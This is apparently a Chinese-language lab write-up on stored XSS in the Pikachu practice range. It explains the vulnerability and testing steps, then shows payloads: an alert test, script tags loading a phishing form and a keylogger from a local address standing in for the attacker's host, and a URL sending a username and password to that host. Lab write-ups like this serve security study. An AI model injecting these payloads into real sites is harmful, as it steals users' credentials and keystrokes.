Pikachu靶场:存储型XSS
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
●存储型
交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS
跨站脚本漏洞测试流程
1.在目标站点上找到输入点,比如查询接口,留言板等;
2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;
3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);
4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
具体操作
1.在目标站点上找到输入点,比如查询接口,留言板等;
2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;
3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);
可见我们输入的字符串直接嵌入到了p标签中,已知我们是可以在p标签里写js代码的,所以我们可以尝试写入一段特制的js代码。
4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
在输入框中输入 <script>alert('qwer')<script>
试图弹出一个框,内容为qwer
发现成功弹出,并且每次刷新都会弹出,说明js代码被存储到了数据库中,每次访问这个页面都会执行一遍。
漏洞利用
钓鱼
将本地XSS后台相关代码配置好,Pikachu的后台位于\pkxss
如果输入的JS代码为下面这段,其中127.0.0.1是本地地址,这里用本地换回地址模拟攻击者的IP地址。
<script src="http://127.0.0.1/Pikachu/pkxss/xfish/fish.php"></script>
在点击submit后会将这段恶意代码存储到数据库中,每次都会执行这段恶意代码。即每次刷新都会弹出一个框让受害者输入用户名密码。
这里有个巨坑,由于这里用的phpstudy搭建的环境,会发现一直提交授权,一直输入密码都不会将数据写入数据库。这个坑后来找到了原因:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本,我这里使用的是phpStudy搭建的环境,默认是以CGI版本运行PHP。后续通过重新搭建环境解决此问题。
这里使用作弊方法,直接将账号密码写入
<script src="http://127.0.0.1/Pikachu/pkxss/xfish/xfish.php?username=admin&password=987654321"></script>
在XSS后台可以看到钓鱼结果。
键盘记录
将恶意的js文件配置好
编写payload将其注入到输入框中。
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
在xss后台中发现键盘记录
总结
存储型XSS同样是利用输入接口进行攻击,但是由于输入的js代码被存储到了数据库中,那么就具有了持久性。每次用户访问这个页面都会触发恶意代码。